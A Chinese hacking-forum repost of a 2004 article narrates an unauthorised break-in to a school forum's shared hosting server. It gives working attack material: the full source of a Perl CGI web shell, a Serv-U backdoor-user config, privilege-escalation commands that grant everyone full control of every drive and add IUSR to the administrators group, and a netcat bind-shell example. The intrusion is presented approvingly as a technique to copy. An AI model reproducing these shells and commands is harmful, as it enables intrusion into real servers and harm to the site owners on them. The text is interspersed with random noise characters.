找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1974|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
3 l6 O- V" v3 u% B: ^0 d3 b本文作者:angel) f$ R* C1 v' ?4 r" G- j
文章性质:原创
# V6 }2 v! p. A' T( r0 p发布日期:2004-11-09   P% O& H8 A3 c0 R& _) f( D% N
注意:
: o7 X; x4 ?  D- ?本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
# K  _. S& L3 M! u* Z* i1 x! E! P本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。9 `4 n: v( \) `3 a/ W: t- ?
$ d0 G" V! ^  q5 G7 x, `6 a' @
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 : H+ O+ g3 `( h8 v

3 k( f( g( v, F  I( ?, r  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
; x& l1 U! E+ X- b1 }
2 X; _9 i0 u9 Y: x$ X! a  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 % n$ [* h- L' o% U3 f) d
! J4 A% V4 I4 P- ^0 c2 P/ i
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 * j/ }" I# c& ?8 ^  M; g

6 V. y5 _$ c! ?7 K  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 % u+ E* A) Y: K* c3 K! |

1 f; p/ p& h# b0 d* A  没有目的的跳转目录着……
- X( }4 ?  ]* g% j/ x$ e' p
% [3 _- H* v7 d& ^6 i* q) f  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… , V8 m2 p5 \3 a) J

( j2 ~* u; e, K8 ^8 ^  结束了吗?不,我试着 FTP 一下: 1 p  q$ U8 L7 j( p* {, N! N
9 H% X9 H' E7 ?- w3 q; b
Microsoft Windows 2000 [Version 5.00.2195]/ ]' [! ]" i7 ~, m$ ]% ^# ~
(C) 版权所有 1985-2000 Microsoft Corp. ( J' g+ }- {7 V9 @
3 d  O$ g/ T- {( {& U5 N, n5 p& o. M
C:\Documents and Settings\Administrator>ftp www.school.com
- v* e2 C3 S* ?% F! D' JConnected to www. school.com.
2 e7 m2 H5 k6 [. z( Y7 I6 |, f220 Welcome to FTP Server... 2 t) O( \5 [8 n
User (www.bjtrq.com:(none)):
, H- B) u+ N; `% s331 User name okay, need password. % N; ~( F; d$ j( L. H, P' O
Password:
  r# Q+ D, o( N6 s) D4 z530 Not logged in. % O9 g5 J2 T" g( r; B/ @/ ~  J
Login failed.
) |9 j5 T& ~# ^8 u% vftp> bye # @) E9 Q/ x* Q( e$ T* Z
221 Goodbye! 1 R2 z* O0 i, g& z! s% X5 ]) J# A
+ g* S( Z5 l& _2 V1 {

8 |/ N( X$ w: }' B$ E! W2 R: Y  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… # b  y7 f6 J5 h$ v( F" m3 B
. }& R6 ]6 v8 x2 d
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。   I! B+ i4 ^& G; l

. x0 {4 A! L8 eApplication Data
% {; h/ _8 K% i3 q, i  IDocuments
- r8 P6 }8 S9 Y+ {6 f; d, bDRM
0 j( A+ C7 M2 @( q/ p5 m5 Z# T" z% @Favorites3 U: |; P$ G% ^" v8 E/ M# j4 U
Templates* Q# z) W, n. [' D
「开始」菜单
, a# G& \( I! Z7 j0 q7 ~' B桌面9 x! Y! r6 e8 M+ s7 f' t
) ?( _, Q/ n9 Y" k3 G' F& J

; d  d* V/ j. W$ Z  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,   h, c  W: E9 n; ?: u& C4 J
8 L& q& A0 v/ {9 J' ]# K
ActiveState ActivePerl 5.8/ e+ s2 A6 i. [+ {* P" x6 c; T
Administrative Tools! V' ^# z% U3 \+ j+ `6 ?
Deerfield.com3 F! @1 O0 X" J6 H9 j
DTemp
0 G2 l- l3 d4 Q$ R& f' I& eIPSentry+ B5 F8 P3 y/ A! G, D2 L  w- X$ }
MBM 5, w6 `# {0 _& P( K
NetMeter
( W; _: K0 Y! y2 i" DNetwork ICE9 O. h* D2 w& v! t! i) _6 s
Persits Software AspEmail! P* z# r) v" ~4 y' Z' y) N
Persits Software AspJpeg4 n& H9 t  B& j  L% S: o
Serv-U FTP Server
3 j# B, M3 C0 GSymantec Client Security
2 i2 b3 Z8 |; W. C/ M$ u9 PWindows 优化大师
+ K1 m2 |" `. Q9 r2 k1 p/ l9 C. }% v& K) ZWinRAR3 Q+ ^# t' @8 b1 T5 ~  D
启动1 [2 J  `% w+ u# t. L6 {7 ]/ B% y
管理工具( G1 @3 @$ {* s7 R  e( g
附件' t6 U1 u% ~( i
/ k, L9 X( ^0 V2 S4 H. d; z
# i0 |3 p0 _' J& }& h0 _. a
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 * u: w( Y9 M$ x6 v0 f/ m5 K; x
7 t  X1 h4 p4 Y( a
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: * e1 }! V. r( w: C" F
: E3 K* S% k) x. ~
User281=angel|1|0 9 T" r' I' _( [) {  t5 ^

2 r0 t9 h8 p- I" C% X
  U6 k0 }7 X9 A- [5 ]: Y- d) n  然后加上
3 j& T' A/ {! D* F. _* C& o1 b) F5 _, X
[USER=angel|1]0 i2 ?" n" j/ G0 u5 ?
Password=ng98F85379EA68DBF97BAADCA99B69B805: k9 V) t- B5 u6 h6 E, o
HomeDir=D:\websites
! r! ^; t' `( W; ]- L/ h- ]8 X, u! qRelPaths=1
* T% c0 E( _6 @* X  Z! HTimeOut=600
! ^% P' v3 Z% DMaintenance=System
5 `! W" J# ~! [. ~0 R. ~Access1=D:\websites|RWAMELCDP
+ r; u, n2 @& r$ a+ |SKEYValues=4 p6 g: }: b+ X7 c. y
. t; r9 S9 [0 I' a) J& U
$ U2 H* V: l* k. A
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 1 @0 S3 \1 W8 w+ B* r: j9 ?
$ Q" w3 n$ j! G, d7 _* Q$ g
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 % D- @% v/ z. u# n: e/ U7 d
0 Q% f+ \, Z: O- q+ X0 n/ ]
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 K3 w' l- m& f, e, Q
$ T0 N5 [' w2 b8 n# J* F% L  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 5 p7 }# O4 P* }

9 p' v: l; X1 A$ d" E3 J& m#!/usr/bin/perl
* D/ y: p& S6 S7 V  v: q, `binmode(STDOUT);
$ y& v5 M3 y" G; R5 Y# u' X, K$ R& Csyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
  x& t% H; c, ^$_ = $ENV{QUERY_STRING};0 i+ v8 b& {: [# L$ ]+ z! m, d0 y
s/%20/ /ig;
  k( k, [9 w& |s/%2f/\//ig;! j" u; J8 D7 U* C
$execthis = $_;& h! B/ V* T( ~$ c; U- _
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);2 p! b. v! |& r9 o0 _, z8 _
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
: M! \) \/ G# B& G9 \system($execthis);' K5 j. `- x) p" E+ f
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
" E6 s" z+ l# i6 S  Oclose(STDERR);
6 ^) i- F8 Q. B* r; b8 _close(STDOUT);& u) e+ H0 x, X( E$ Y* q0 H
exit;& \# c% Z7 u# H' F

2 I+ n$ @; f$ E* w; N, ]
! P$ M/ o% s1 ]( T* q$ P- G  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 7 W" V$ v9 m; `8 `/ L
  R) P. T0 m; ?: u. P0 ]
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 8 B# g1 L7 J: k1 {5 l  [" I
2 v, Z) X8 ^- I1 S% U& b8 U
http://anyhost//cmd.pl?d:\user\bin\su.exe
! w2 x) v0 {8 j3 S $ h$ y9 F3 Y3 M. X1 `2 R

) K0 l- `! I0 Z: z  返回:
' L+ R  x8 {1 l1 L/ ?" f5 C1 t6 s5 d+ a. y4 U9 D, U) s
Serv-u >3.x Local Exploit by xiaolu , @+ v0 p* T4 u8 W: ]

  v5 h, F" w+ e2 G% j6 E0 z0 s6 MUSAGE: serv-u.exe "command" 8 S2 t( [2 r% ~' Y

7 ^2 c. A0 U, h. A% @  AExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ' a) H. m& s" u) f$ Z

+ G" \/ i3 S" X& d) F4 v# N% {! T7 Y& ]: b. g  [6 P
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) t, ]& T. G& J$ l3 N* Q

6 b8 k% U  X. |0 u7 x6 l" n0 vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"   F( `/ B+ }$ l
5 [5 _0 o$ w' t0 N: e- g
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 B4 E& T9 r) n9 P
" U% i0 o* |1 v9 L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" - M) v2 n5 p/ ~  }  g# \
* i( r$ w+ w: i
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 8 f( S& \& x8 e5 t5 X

" Z6 L( O' J8 [! G
- v/ \* ^/ V) d" C8 e  返回下面的信息,就表示成功了!!!
8 A! _  U( n2 V: q& o" ?
8 ^  |# x) N/ W) @1 P1 q3 XServ-u >3.x Local Exploit by xiaolu ) S7 A! X3 I  _) `8 ]* X

; o* X5 M7 v: O" ^" i<220 Serv-U FTP Server v5.2 for WinSock ready... ' [1 t/ t  P! Q% S
8 C) ?1 u6 ~/ S9 h1 V% l( I' W5 T
>USER LocalAdministrator / S8 l& A$ ]. H0 \6 U) d
' c- ?- i8 a# t7 t6 h8 n
<331 User name okay, need password. : B$ W. Q, l- P
; }+ F6 W9 O* i+ ?: [3 ~
******************************************************
  B  a8 Z! }4 i. h
. O( [# {! q5 Y: n>PASS #l@$ak#.lk;0@P
. m7 P5 m3 @1 m* F) T/ ?  Y
1 D: D' \: h( @8 }1 u<230 User logged in, proceed. + M+ Z* `& w, V- H# z- N  \
5 g% T. x& `0 ]7 p8 f& x
******************************************************
& ]% j- R9 f1 z! ]1 ~% n; n# X+ |( j0 s' y' U" j" q8 L
>SITE MAINTENANCE ! ~2 E! G% O9 }& V

% `2 G: q  }  D9 a3 [6 ?+ b******************************************************
) M0 m! ^" b# ^6 C+ d2 R8 i7 Y* Z& ?8 W2 |% _: j# m* |4 L
[+] Creating New Domain... ( s. D8 D6 ]. D3 U
6 E3 ?. G& w, r1 B/ Z
<200-DomainID=2
  p) c- |  z% N% x/ ^0 t0 @+ _; ]# X0 Z9 m
<220 Domain settings saved " {' E; H, O6 `
9 u, s: s) \' q% b% G* U
******************************************************
/ l( d  Y: E- {: [; r9 O5 ?% m' H& e. z" f6 J# g: l5 O
[+] Domain xl:2 Created 8 G1 x$ y5 H8 t

% J' w% g  d) n' `. b, n4 y[+] Creating Evil User
  u% p/ Y, \, Y, d4 Y
: M# L; g4 G: ^5 T<200-User=xl
8 E- @5 E( b5 b" @$ n# s$ I6 l$ ^  M
200 User settings saved - C  s" _. o5 o5 k3 e
/ r+ O( Z3 s2 O/ x" }2 e( k  R
******************************************************
, i/ Q, J  N2 ~% n, {( U: K* Z& @  b2 M# g) f0 @: @
[+] Now Exploiting... , |& P2 s0 H1 y2 V

; ]8 ^4 G$ l; V/ Y2 X9 l>USER xl
- A5 j; R+ |* f! k: X% R' T7 d
1 e5 Q# t) i* t3 z% L" A<331 User name okay, need password.
0 |5 J% D* o  g, q
7 g! x# E$ \" ?% G6 }****************************************************** . E3 a4 G5 x+ M$ \/ `
3 V. T6 x* [6 m, U' s' X$ C
>PASS 111111
* G# g$ O! B9 N" _; t' p
. O/ B9 d4 _" w( |3 n) o<230 User logged in, proceed.
" n$ E  c3 h: ]/ a. y. x# S, {% n/ p% }2 j& y+ {+ ^4 Y
******************************************************
6 h7 S; L, `) H
6 v4 Z4 V% q: O3 j: y4 U' D" Q[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 f9 o' E. B% g+ V: c" F) e- S' Y2 @* w. @5 M" u& }
<220 Domain deleted
. y, L# i7 \! b) w7 i6 J2 w0 b9 g# }
. n: J9 [' r: o; i2 j6 }******************************************************
; h% R- ~  S. T- f& z; S# ~) x
0 r5 C) w+ k+ k3 |  t  H
3 ~8 s4 f* \, u8 E& n+ ~  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
7 x5 _! W9 ]$ P' K4 M* _
6 x" I: X* c7 Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
% e+ I" q$ N8 l4 E! o
% Q3 w$ V& ^7 u% ~5 P
; j: V# D# L- ^+ R# H( |9 y0 j. ?, G  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。   v8 L8 [6 Z0 U: Q$ b( H

3 ]6 ~  K) \  ]7 W/ O  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
& _, f* O, k; B6 @7 {1 \   }: F$ C7 z  `& z! o
  
( u- h6 F8 c5 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表